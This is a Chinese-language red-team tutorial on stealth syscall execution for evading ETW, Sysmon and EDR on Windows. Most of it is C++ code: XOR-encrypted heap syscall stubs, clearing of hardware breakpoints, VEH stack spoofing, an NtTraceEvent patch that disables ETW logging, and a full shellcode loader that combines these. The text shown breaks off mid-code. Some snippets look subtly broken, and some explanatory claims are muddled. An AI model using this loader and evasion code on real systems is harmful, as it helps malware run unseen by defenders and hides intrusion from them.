这篇文章《Stealth Syscall Execution: Bypassing ETW, Sysmon, and EDR Detection》主要讲解了如何通过隐形系统调用(Stealth Syscall Execution)技术绕过Windows系统中的安全监控工具,如ETW(Event Tracing for Windows)、Sysmon 和 EDR(Endpoint Detection and Response),以实现隐秘的恶意代码执行。文章面向红队(Red Team)操作,介绍了一些高级的规避检测技术,特别适用于网络安全测试和渗透测试场景。以下是文章的核心内容总结:
1. 背景:系统调用(Syscalls)与安全监控
-
系统调用是用户态进程与Windows内核交互的桥梁,用于执行内存管理、文件操作、进程创建等任务。
-
安全工具(如ETW、Sysmon、EDR)通过以下方式监控系统调用以检测恶意行为:
-
堆栈追踪:分析调用堆栈以识别可疑的执行模式。
-
ETW事件:记录直接系统调用的事件。
-
API钩子(Hooking):拦截系统调用以阻止或检测未经授权的行为。
-
常规的系统调用执行会留下痕迹,容易被EDR通过调用堆栈分析或ETW事件捕获。
2. 隐形系统调用的核心技术
文章详细介绍了绕过这些监控的几种高级技术:
-
直接系统调用(Direct Syscalls):
-
绕过用户态的API钩子,直接调用内核函数(如NtAllocateVirtualMemory),避免触发EDR的监控。
-
使用工具如 SysWhispers2 生成系统调用号(SSN),以适应不同Windows版本的动态变化。
-
调用堆栈伪造(Call Stack Spoofing):
-
通过伪造调用堆栈,模拟合法操作的执行路径,欺骗EDR的堆栈分析。例如,APT41等黑客组织已被观察到使用这种技术。
-
加密系统调用(Encrypted Syscalls):
-
对系统调用指令或相关数据进行加密,降低静态分析检测的可能性。
-
硬件断点清除(Hardware Breakpoint Clearing):
-
利用硬件断点(如通过VEH,Vectored Exception Handler)在系统调用执行前拦截并修改参数,绕过EDR检查。
-
禁用ETW:
-
通过修补EtwEventWrite函数,阻止ETW记录系统调用相关的事件日志。
-
间接系统调用(Indirect Syscalls):
-
将系统调用指令的执行路径重定向到ntdll.dll的合法地址空间,生成看似常规的调用堆栈,降低被检测的可能性。
3. 实现隐形Shellcode执行器
文章描述了一个结合上述技术的隐形Shellcode执行器,包括:
-
加密Shellcode:防止静态分析检测。
-
真实堆栈伪造:确保调用堆栈看起来像合法应用程序的行为。
-
禁用ETW:阻止事件追踪。
-
硬件断点技术:在系统调用执行前后动态修改参数或上下文。
这些技术共同构成了一个强大的工具,能够在红队操作中绕过现代EDR的检测,保持隐秘性。
4. 实际案例与检测规避
-
文章提到APT41组织通过调用堆栈伪造技术成功绕过EDR检测,展示了这些方法的实际应用。
-
强调了理解安全工具(如Sysmon、ETW、EDR)的工作原理对于开发有效规避策略至关重要。例如,EDR通常依赖AI模型检测系统调用中的异常行为,若调用堆栈缺失关键函数或来自未知内存区域,就会触发警报。
系统调用 (syscall) 充当用户模式进程与 Windows 内核之间的桥梁,有助于执行内存管理、文件操作和进程创建等任务。Windows 事件跟踪 (ETW)、Sysmon 等安全工具以及 x64dbg 和 WinDbg 等调试器会主动监控这些交互,以检测恶意或异常的系统调用执行。
问题:安全工具如何检测系统调用
当系统调用正常执行时,EDR 等安全产品可以:
-
跟踪调用堆栈 以查看哪个函数调用了它。
-
监视记录直接系统调用的ETW 事件。
-
挂接到系统调用 来阻止或检测未经授权的行为。
适用于 Windows 的 ETW 流
解决方案:隐形系统调用执行技术
为了逃避检测,攻击者使用隐形系统调用执行技术 :
-
欺骗调用堆栈以使系统调用看起来合法。
据观察,网络间谍组织APT41 正在利用调用堆栈欺骗,网络间谍组织APT41 使用调用堆栈欺骗技术来掩盖其恶意活动。在详细分析中,与 APT41 相关的恶意软件样本展示了如何构建虚假调用堆栈来模仿合法操作,从而逃避依赖调用堆栈分析进行检测的端点检测和响应 (EDR) 系统。
-
挂钩 ETW 和 Sysmon API以防止系统调用日志记录。
一些恶意软件变种通过修补 EtwEventWrite 等函数来禁用 ETW ,从而有效地阻止了可能导致其被检测到的事件的记录。这项技术已在各种安全分析中得到记录。
已知攻击者会钩住 Windows 事件跟踪 (ETW) 和 Sysmon API,通过阻止系统调用日志记录来逃避检测。例如,一些恶意软件变种会通过修补 EtwEventWrite 等函数来禁用 ETW,从而阻止监控和日志记录机制。这种策略属于 MITRE ATT&CK 技术T1562.001:削弱防御:禁用或修改工具,攻击者会禁用安全工具来逃避检测。
-
执行系统调用执行系统调用在隔离的内核线程中逃避用户模式挂钩。
-
对调试器隐藏执行通过绕过系统调用表来隐藏调试器的执行。通过绕过系统调用表。
该分析研究了Lumma Stealer 等恶意软件如何利用直接系统调用执行恶意活动,同时逃避传统安全措施的检测。
在这次全面的深入研究中,我们将分解正常与隐秘的系统调用执行,分析检测机制,并实施先进的规避技术。
理解调用堆栈跟踪及其重要性
调用堆栈提供了导致特定系统调用 (syscall) 的函数调用的详细记录。在网络安全领域,分析调用堆栈对于有效的威胁检测和取证分析至关重要。安全工具利用调用堆栈跟踪来识别:
-
识别调用函数:准确确定哪个函数触发了系统调用,例如来自ntdll.dll的合法 Windows API 函数,或者像 shellcode 这样的潜在恶意代码。
-
检测可疑来源:评估系统调用是否源自不寻常或可疑的来源,例如注入的 DLL 或未知的内存区域,这可能表明存在恶意活动。
-
验证正常行为:将观察到的调用堆栈与典型 Windows 操作的预期模式进行比较表明存在泄露或利用企图的表明存在妥协或利用企图的查明表明存在妥协或利用企图的异常情况。
安全工具如何使用调用堆栈进行跟踪
要理解隐形系统调用执行的工作原理,重要的是要了解各种安全工具如何分析系统调用行为以创建检测。让我们分解一下它们如何使用调用堆栈跟踪进行检测。典型的关注点包括:
-
Sysmon 和 ETW 监控系统调用的堆栈跟踪 以识别可疑的执行模式。
-
像 x64dbg 这样的调试器显示调用堆栈 像 x64dbg 这样的调试器在单步执行系统调用时会显示调用堆栈。 当逐步执行系统调用时。
-
EDR(端点检测和响应)解决方案使用基于 AI 的模型 来检测系统调用执行中的异常。
正常堆栈跟踪与可疑堆栈跟踪:主要区别
如果堆栈中缺少某个函数或者该函数来自未知的内存区域,则会引起警示!
正常的系统调用工作流程(易于检测)
代码:标准系统调用执行
#include<windows.h>#include<iostream>typedefNTSTATUS(NTAPI* pNtProtectVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, PULONG NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection );intmain(){// Get handle to ntdll.dll HMODULE hNtdll = LoadLibraryA("ntdll.dll");if (!hNtdll) {std::cerr << "Failed to load ntdll.dlln";return-1; }// Resolve NtProtectVirtualMemory dynamically pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory) GetProcAddress(hNtdll, "NtProtectVirtualMemory");if (!NtProtectVirtualMemory) {std::cerr << "Failed to resolve NtProtectVirtualMemoryn";return-1; } PVOID memAddr = NULL; SIZE_T memSize = 0x1000; // 4KB DWORD oldProtect; HANDLE hProcess = GetCurrentProcess();// Allocate memory region memAddr = VirtualAlloc(NULL, memSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!memAddr) {std::cerr << "Memory allocation failedn";return-1; }std::cout << "Memory allocated at: " << memAddr << std::endl;// Write some dummy shellcodeunsignedchar shellcode[] = "x90x90x90x90"; // NOP sledmemcpy(memAddr, shellcode, sizeof(shellcode));// Modify memory protection using direct system call ULONG bytesToProtect = (ULONG)memSize; NTSTATUS status = NtProtectVirtualMemory( hProcess, &memAddr, &bytesToProtect, PAGE_EXECUTE_READWRITE, &oldProtect);if (status == 0) {std::cout << "Memory protection removed (PAGE_EXECUTE_READWRITE)n"; }else {std::cerr << "Failed to change memory protection, NTSTATUS: " << status << "n"; }// Keep program alive for debuggingstd::cin.get();return0;}
标准系统调用执行
检测结果:安全工具如何捕获正常的系统调用
NTProtectVirtualMemory 正在被检测
高级隐身代码执行
我们的隐形代码的关键增强功能
✅基于堆的加密系统调用
✅硬件断点欺骗
✅使用运行时加密进行系统调用混淆
✅通过 VEH(向量异常处理)实现真正的堆栈欺骗
✅隐秘的 ETW(Windows 事件跟踪)日志记录禁用
这些先进的技术结合在一起将确保安全产品的最小可见性和可追溯性,从而使创建的可执行文件特别难以分析和检测!
代号:高级隐形处决
#include <windows.h>#include <iostream>#pragma comment(lib, "ntdll.lib")typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)( HANDLE, PVOID*, SIZE_T*, ULONG, PULONG);// XOR encryption/decryption functionvoid XORCipher(BYTE* data, SIZE_T size, BYTE key) {for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;}// Dynamically resolve syscall numberULONG GetSyscallNumber(constchar* funcName) { BYTE* addr = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);if (!addr) return0;for (int i = 0; i < 20; i++)if (addr[i] == 0xB8 && addr[i + 5] == 0x0F && addr[i + 6] == 0x05)return *(ULONG*)(addr + i + 1);return0;}// VEH Handler for stack spoofingLONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) { ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];return EXCEPTION_CONTINUE_EXECUTION;}// Heap-based encrypted syscall executionvoid HeapEncryptedSyscall() { std::cout << "[+] Executing encrypted syscall from heap memory...n"; ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory");if (!syscallNumber) return; BYTE stub[] = {0x4C, 0x8B, 0xD1, // mov r10, rcx0xB8, 0,0,0,0, // mov eax, syscallNum0x0F, 0x05, // syscall0xC3// ret }; *(ULONG*)(stub + 4) = syscallNumber; BYTE encryptionKey = 0x5A; XORCipher(stub, sizeof(stub), encryptionKey); // Encryptvoid* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub)); memcpy(execMem, stub, sizeof(stub)); XORCipher((BYTE*)execMem, sizeof(stub), encryptionKey); // Decrypt before execution PVOID baseAddr = NULL; SIZE_T regionSize = 4096; ULONG oldProt; std::cout << "[+] Executing syscall from heap-allocated memoryn"; ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)( GetCurrentProcess(), &baseAddr, ®ionSize, PAGE_EXECUTE_READWRITE, &oldProt ); HeapFree(GetProcessHeap(), 0, execMem);}// Hardware breakpoint spoofingvoid HardwareBreakpointSpoofing() { CONTEXT ctx = {}; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; HANDLE hThread = GetCurrentThread(); GetThreadContext(hThread, &ctx); ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0; SetThreadContext(hThread, &ctx); std::cout << "[+] Cleared hardware breakpointsn";}// Disable ETW logging (no VirtualProtect visible)void DisableETWSysmonLogging() { std::cout << "[+] Disabling ETW logging stealthilyn"; ULONG syscall = GetSyscallNumber("NtProtectVirtualMemory"); BYTE syscallStub[] = {0x4C, 0x8B, 0xD1,0xB8, 0,0,0,0,0x0F, 0x05, 0xC3 }; *(ULONG*)(syscallStub + 4) = syscall; BYTE key = 0x7A; XORCipher(syscallStub, sizeof(syscallStub), key);void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(syscallStub)); memcpy(execMem, syscallStub, sizeof(syscallStub)); XORCipher((BYTE*)execMem, sizeof(syscallStub), key); // Decrypt before execvoid* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent"); SIZE_T sz = 1; ULONG oldProt; ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)( GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt ); *(BYTE*)ntTraceEvent = 0xC3; // Patch with RET HeapFree(GetProcessHeap(), 0, execMem);}// True Stack Spoofing via VEH (Real stack unwinding mitigation)void TrueStackSpoofer(void(*func)()) { std::cout << "[+] Executing true stack spoofingn"; AddVectoredExceptionHandler(1, VehHandler); CONTEXT ctx = {}; RtlCaptureContext(&ctx); ctx.Rip = (DWORD64)func; HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, NULL, CREATE_SUSPENDED, NULL); SetThreadContext(hThread, &ctx); ResumeThread(hThread); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread);}// Execute operations in chunks to evade heuristicsvoid ExecuteInChunks() { std::cout << "[+] Executing in small chunks to bypass heuristicsn";volatilechar data[100];for (int i = 0; i < 10; i++) { memset((void*)data, i, sizeof(data)); Sleep(20); }}// Final orchestration functionvoid ExecuteHiddenSyscall() { std::cout << "[+] Executing hidden syscall sequence...n"; HardwareBreakpointSpoofing(); HeapEncryptedSyscall();}int main() { std::cout << "[+] Advanced stealth execution started...n"; DisableETWSysmonLogging(); ExecuteInChunks(); std::cout << "[+] Setting VEH handler for true stack spoofingn"; AddVectoredExceptionHandler(1, VehHandler); TrueStackSpoofer(ExecuteHiddenSyscall); std::cout << "[+] All stealth operations executed successfully.n";return0;}
分解绕过技术:高级隐形执行技术
在现代网络安全中,隐身执行 已成为规避端点检测和响应 (EDR)、反病毒 (AV) 引擎和动态分析系统等高级安全措施检测的一项重要技术。下文将对每种隐身技术进行深入分析和讲解,并在每个部分中提供相关的代码片段和详尽的说明,以方便读者理解。
1.基于堆的加密间接系统调用
客观的:
这种方法旨在通过动态分配的堆内存间接执行 Windows 系统调用,避免直接调用ntdll.dll。这种方法增强了隐蔽性和规避能力,降低了监控直接系统库交互的安全工具的检测能力。它强调低调操作,增加了分析和监控的复杂性,从而对安全解决方案识别恶意行为提出了挑战!
主要优点:
-
系统调用在运行时动态解析,这增加了复杂性并模糊了操作。这降低了检测风险并使取证分析变得复杂。
-
RWX 堆分配会混淆可执行内存,混淆静态分析工具并阻碍威胁识别。
-
该方法具有灵活性,可以适应运行时条件和不断变化的威胁形势,从而可以动态响应安全挑战。
-
使用动态分配的堆内存可以提高性能,优化内存使用率并提高高性能应用程序的效率。
参考代码片段:
// Heap-based encrypted syscall executionvoidHeapEncryptedSyscall(){ ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory"); BYTE stub[] = {0x4C, 0x8B, 0xD1, // mov r10, rcx (standard syscall setup)0xB8, 0,0,0,0, // mov eax, syscallNumber0x0F, 0x05, // syscall0xC3// ret }; *(ULONG*)(stub + 4) = syscallNumber; BYTE encryptionKey = 0x5A; XORCipher(stub, sizeof(stub), encryptionKey); // Encrypt stubvoid* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));memcpy(execMem, stub, sizeof(stub)); XORCipher((BYTE*)execMem, sizeof(stub), encryptionKey); // Decrypt at runtime// Execute syscall from heap ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)( GetCurrentProcess(), &baseAddr, ®ionSize, PAGE_EXECUTE_READWRITE, &oldProt ); HeapFree(GetProcessHeap(), 0, execMem);}
这里,下表总结了上述代码中的关键步骤:
2. 硬件断点欺骗
客观的:
该方法的主要目的是清除调试寄存器 Dr0 到 Dr7,以规避基于硬件断点的调试器的检测。这些寄存器对于在特定内存地址设置断点至关重要。清除这些寄存器会破坏调试器跟踪程序执行的能力,从而增强代码隐蔽性。这对于维护代码的机密性和完整性至关重要,尤其是在软件保护和反逆向工程方面。
主要优点:
-
清除调试寄存器有助于避免被 x64dbg 和 WinDbg 等高级调试器检测到,这些调试器依赖断点来分析程序。这种技术可以阻止逆向工程和篡改,并使调试工作更加复杂。
-
这使得攻击者更难理解程序的工作原理,因为他们无法使用硬件断点来获取洞察力。
参考代码片段:
// Hardware breakpoint spoofingvoidHardwareBreakpointSpoofing(){ CONTEXT ctx = {}; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; HANDLE hThread = GetCurrentThread(); GetThreadContext(hThread, &ctx); ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0; SetThreadContext(hThread, &ctx);}
此方法可移除预设断点,防止调试器轻易拦截或触发执行断点。如果没有硬件级断点,调试器的效率会降低,从而迫使攻击者使用更复杂、更不可靠的方法。此外,清除这些寄存器可以使恶意软件更难操纵程序执行,从而增强软件安全性,防止漏洞被利用。此操作会破坏调试工具并使分析更加复杂,从而有助于构建更安全的软件环境。
3. 使用运行时加密进行系统调用混淆
客观的:
该计划旨在为软件应用程序中的系统调用(syscall)实施强大的加密和混淆策略,确保它们在运行时动态加密和解密。这将为安全研究人员和恶意软件分析师使用的静态和动态分析工具建立一道屏障,使系统调用序列无法读取和解密。通过隐藏软件与操作系统的交互,这对于保护代码和操作完整性至关重要。
主要优点:
-
加密系统调用会使IDA Pro 和 Ghidra 等静态分析工具失效,因为它们依赖于模式识别和预定义签名。这种破坏性措施可以防止分析师了解软件的功能,从而增强安全态势。
-
内存扫描器对加密系统调用的有效性会降低,因为它们无法检测已知模式。即使在受监控的环境中,这也降低了被检测到的可能性,为需要隐秘性和保密性的应用程序(尤其是敏感数据或关键基础设施)提供了关键的安全保障。
参考代码片段:
// XOR ecryption/decryption functionvoidXORCipher(BYTE* data, SIZE_T size, BYTE key){for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;}
工作原理:
-
在编译时或运行时使用 XOR 加密系统调用存根。
-
在执行之前解密,确保仅在内存中暂时暴露。
4. 通过 VEH 进行 True Stack 欺骗
客观的:
这里的主要目标是使用向量异常处理程序 (VEH)来模糊调用堆栈,从而误导调试并使堆栈分析变得复杂。这种技术会扭曲感知到的执行流程,使函数调用追踪变得困难。VEH 会拦截异常以掩盖代码的真实性质,混淆逻辑和流程。
主要优点:
-
阻止准确的调用堆栈展开,导致程序状态的混乱和误解,可能会忽略关键问题或漏洞。
-
通过使调用堆栈看起来正常来阻止调试,延迟对错误或缺陷的识别并防止逆向工程和未经授权的代码分析。
参考VEH处理程序代码片段:
// VEH Handler for stack spoofingLONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) { ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];return EXCEPTION_CONTINUE_EXECUTION;}void TrueStackSpoofer(void(*func)()) { AddVectoredExceptionHandler(1, VehHandler); CONTEXT ctx = {}; RtlCaptureContext(&ctx); ctx.Rip = (DWORD64)func;HANDLEhThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, NULL, CREATE_SUSPENDED, NULL);SetThreadContext(hThread, &ctx);ResumeThread(hThread);WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);}
下表总结了上述参考代码片段中的关键步骤:
5. 隐秘禁用 ETW 日志记录
客观的:
该方法的目标是悄悄地修补 NtTraceEvent 函数,以禁用Windows 事件跟踪 (ETW)。此方法旨在通过了解 Windows 内核和日志记录框架,谨慎地操纵日志记录,避免安全警报,从而规避传统的检测方法。
主要优点:
-
这种方法可以防止系统范围内记录可疑活动,逃避 Sysmon 或 EDR 系统等工具的检测,这对于隐形操作至关重要。
-
它避免了标准 API 监控的检测,允许未被发现的存在并减少安全审计或实时监控的暴露。
ETW 补丁代码:
// Disable ETW logging (no VirtualProtect visible)voidDisableETWSysmonLogging(){ ULONG syscall = GetSyscallNumber("NtProtectVirtualMemory"); BYTE syscallStub[] = {0x4C, 0x8B, 0xD1,0xB8, 0,0,0,0,0x0F, 0x05, 0xC3 }; *(ULONG*)(syscallStub + 4) = syscall; BYTE key = 0x7A; XORCipher(syscallStub, sizeof(syscallStub), key);void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(syscallStub));memcpy(execMem, syscallStub, sizeof(syscallStub)); XORCipher((BYTE*)execMem, sizeof(syscallStub), key);void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent"); SIZE_T sz = 1; ULONG oldProt; ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)( GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt ); *(BYTE*)ntTraceEvent = 0xC3; // Patch ETW to RET immediately HeapFree(GetProcessHeap(), 0, execMem);}
关于隐身方法的最终思考
上述方法结合了多种先进的规避和混淆技术,显著提高了隐蔽性。每一步都会增加防御者的复杂性,但综合起来,它们共同构成了一个强大且高度规避的有效载荷。
利用此类技术需要对 Windows 内部结构和内存操作有深入的了解,并说明为什么高级攻击者不断改进他们的方法来绕过现代防御。
本讲解旨在向安全专业人员讲解尖端的隐身方法,帮助他们更好地检测和防御高级威胁。请在获得适当权限的情况下谨慎使用。
下一步是什么?
深入研究高级 Shellcode 执行技术
至此,我们已经成功构建了一个强大的隐形 Shellcode 执行器。我们集成了一些先进的隐形方法,例如加密系统调用、真正的堆栈欺骗、硬件断点清除以及隐蔽禁用Windows 事件跟踪 (ETW)。然而,深入了解这些技术对于掌握下一次红队行动至关重要。让我们深入探讨这些基本概念、它们的重要性以及它们如何增强你的红队作战能力。
解释关键概念
让我们分解一下 Shellcode 注入器中实现的每种高级技术。理解每个概念对于有效的红队演习、规避现代端点检测和响应 (EDR) 工具以及在安全评估场景中保持不被发现至关重要!
1. 从堆内存直接执行系统调用
什么是直接系统调用执行?
现代安全产品通常会监控并拦截标准的 Windows API 调用。为了逃避检测,攻击者可以直接调用 Windows 内核函数(系统调用),而不是标准的用户模式 API。在这里,我们直接从堆内存执行了加密的系统调用存根。
为什么它在红队中很重要?
通过直接执行系统调用,攻击者可以有效绕过EDR、AV 解决方案或任何其他端点保护平台 (EPP) 设置的用户模式钩子。这减少了攻击者操作的占用空间,并使其难以被检测到。
技术深度探究:我们的代码直接从ntdll.dll动态解析系统调用号,使用基本的 XOR 密码加密系统调用存根,并在执行之前立即在运行时解密它。
// XORCipher encryption function examplevoidXORCipher(BYTE* data, SIZE_T size, BYTE key){for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;}
NTSTATUS HeapSyscall(constchar* syscallName, HANDLE hProc, void** addr, SIZE_T* size, ULONG prot, ULONG* oldProt);
2.禁用 ETW 日志记录(Windows 事件跟踪)
什么是 ETW 日志记录?
ETW 是 Windows 操作系统内置的强大日志记录机制。安全工具利用 ETW 来记录和追踪可疑活动。
对红队成员的重要提示:禁用 ETW 可防止防御者检测到恶意操作。通过修补 NtTraceEvent 函数,我们可以阻止 ETW 有效记录您的操作。
示例代码实现:
voidDisableETW(){void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent"); SIZE_T sz = 1; ULONG oldProt; HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt); *(BYTE*)ntTraceEvent = 0xC3; // Patch with RET instruction to disable ETW}
3. 硬件断点清除
什么是硬件断点?
硬件断点允许调试器和 EDR在特定内存位置暂停执行。清除硬件断点可确保没有调试器默默地拦截或检查您的执行流程。
实施片段:
voidHardwareBreakpointSpoofing(){ CONTEXT ctx{}; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; HANDLE hThread = GetCurrentThread(); GetThreadContext(hThread, &ctx); ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0; // 清除断点 SetThreadContext(hThread, &ctx); }
4. 通过VEH(向量异常处理程序)进行真正的堆栈欺骗
什么是真正的堆栈欺骗?
堆栈欺骗涉及模糊函数调用堆栈,以防止高级防御产品进行有效的内存检查和堆栈展开技术。
技术解释:上述函数使用向量异常处理程序 来动态操作线程上下文。它在欺骗调用堆栈的同时,将执行安全地重定向到Shellcode ,这有助于绕过基于堆栈的检测方法。
代码示例:
void TrueStackSpoofer(void(*targetFunc)(BYTE*, SIZE_T), BYTE* payload, SIZE_T size) { AddVectoredExceptionHandler(1, VehHandler); CONTEXT ctx{}; RtlCaptureContext(&ctx);void* fakeReturn = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!fakeReturn) { std::cerr << "[-] VirtualAlloc failed for fake return address!n";return; } HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetFunc, payload, CREATE_SUSPENDED, NULL);if (!hThread) { std::cerr << "[-] Thread creation failed!n"; VirtualFree(fakeReturn, 0, MEM_RELEASE);return; } ctx.Rip = (DWORD64)targetFunc; ctx.Rcx = (DWORD64)payload; ctx.Rdx = (DWORD64)size; ctx.Rsp -= sizeof(void*); *(DWORD64*)(ctx.Rsp) = (DWORD64)fakeReturn; SetThreadContext(hThread, &ctx); ResumeThread(hThread); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); VirtualFree(fakeReturn, 0, MEM_RELEASE);}
先进技术在红队作战中的重要性
在现代红队演习中,防御者越来越依赖 EDR 或 XDR 等复杂的检测机制。这些隐蔽的技术使红队操作员和渗透测试人员能够有效地模拟高级持续性威胁 (APT),逃避检测,并评估组织安全基础设施的真正防御能力。
Shellcode 执行器代码:整合所有内容
#include <windows.h>#include <iostream>#include <fstream>#pragma comment(lib, "ntdll.lib")#ifndef NT_SUCCESS#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#endif#ifndef STATUS_UNSUCCESSFUL#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)#endiftypedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)( HANDLE, PVOID*, SIZE_T*, ULONG, PULONG);// XOR Cipher Encryption/Decryptionvoid XORCipher(BYTE* data, SIZE_T size, BYTE key) {for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;}// Retrieve syscall number from NTDLL functionsULONG GetSyscallNumber(constchar* funcName) { BYTE* addr = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);if (!addr) return0;for (int i = 0; i < 32; i++)if (addr[i] == 0xB8 && addr[i + 5] == 0x0F && addr[i + 6] == 0x05)return *(ULONG*)(addr + i + 1);return0;}// VEH Handler for Stack SpoofingLONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) { ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];return EXCEPTION_CONTINUE_EXECUTION;}// Heap-based encrypted syscall executionNTSTATUS HeapSyscall(constchar* syscallName, HANDLE hProc, void** addr, SIZE_T* size, ULONG prot, ULONG* oldProt) { ULONG syscallNumber = GetSyscallNumber(syscallName);if (!syscallNumber) return STATUS_UNSUCCESSFUL; BYTE stub[] = {0x4C, 0x8B, 0xD1, // mov r10, rcx0xB8, 0,0,0,0, // mov eax, syscallNumber0x0F, 0x05, // syscall0xC3// ret }; *(ULONG*)(stub + 4) = syscallNumber; BYTE key = 0x5A; XORCipher(stub, sizeof(stub), key); // Encryptvoid* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub)); memcpy(execMem, stub, sizeof(stub)); XORCipher((BYTE*)execMem, sizeof(stub), key); // Decrypt for execution auto func = (pNtProtectVirtualMemory)execMem; NTSTATUS status = func(hProc, addr, size, prot, oldProt); HeapFree(GetProcessHeap(), 0, execMem);return status;}// Disable ETW Logging stealthilyvoid DisableETW() {void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent"); SIZE_T sz = 1; ULONG oldProt; HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt); *(BYTE*)ntTraceEvent = 0xC3;}// Hardware breakpoint clearingvoid HardwareBreakpointSpoofing() { CONTEXT ctx{}; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; HANDLE hThread = GetCurrentThread(); GetThreadContext(hThread, &ctx); ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0; SetThreadContext(hThread, &ctx);}// Load Shellcode from fileBYTE* LoadShellcode(constchar* path, SIZE_T& size) { std::ifstream file(path, std::ios::binary | std::ios::ate);if (!file) return nullptr; size = file.tellg(); BYTE* buf = new BYTE[size]; file.seekg(0, std::ios::beg);if (!file.read((char*)buf, size)) { delete[] buf;return nullptr; }return buf;}// Shellcode Execution Functionvoid ExecuteShellcode(BYTE* shellcode, SIZE_T size) {void* execMem = nullptr; SIZE_T sz = size; ULONG oldProt; HeapSyscall("NtAllocateVirtualMemory", GetCurrentProcess(), &execMem, &sz, MEM_COMMIT | MEM_RESERVE, &oldProt); memcpy(execMem, shellcode, size); HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &execMem, &sz, PAGE_EXECUTE_READ, &oldProt); HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)execMem, nullptr, 0, nullptr); WaitForSingleObject(hThread, INFINITE);}// Stack Spoofing Orchestration Functionvoid TrueStackSpoofer(void(*targetFunc)(BYTE*, SIZE_T), BYTE* payload, SIZE_T size) { AddVectoredExceptionHandler(1, VehHandler);// Capture the current thread context CONTEXT ctx{}; RtlCaptureContext(&ctx);// Allocate a fake return address to prevent crashesvoid* fakeReturn = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!fakeReturn) { std::cerr << "[-] VirtualAlloc for Fake Return Address failed!n";return; }// Ensure the function runs properly in a new thread HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetFunc, payload, CREATE_SUSPENDED, NULL);if (!hThread) { std::cerr << "[-] Failed to create thread!n"; VirtualFree(fakeReturn, 0, MEM_RELEASE);return; }// Modify the stack to ensure proper return ctx.Rip = (DWORD64)targetFunc; ctx.Rcx = (DWORD64)payload; // First argument (shellcode) ctx.Rdx = (DWORD64)size; // Second argument (shellcode size) ctx.Rsp -= sizeof(void*); *(DWORD64*)(ctx.Rsp) = (DWORD64)fakeReturn; // Fake return address// Apply the modified contextif (!SetThreadContext(hThread, &ctx)) { std::cerr << "[-] Failed to set thread context!n"; VirtualFree(fakeReturn, 0, MEM_RELEASE); CloseHandle(hThread);return; }// Resume the 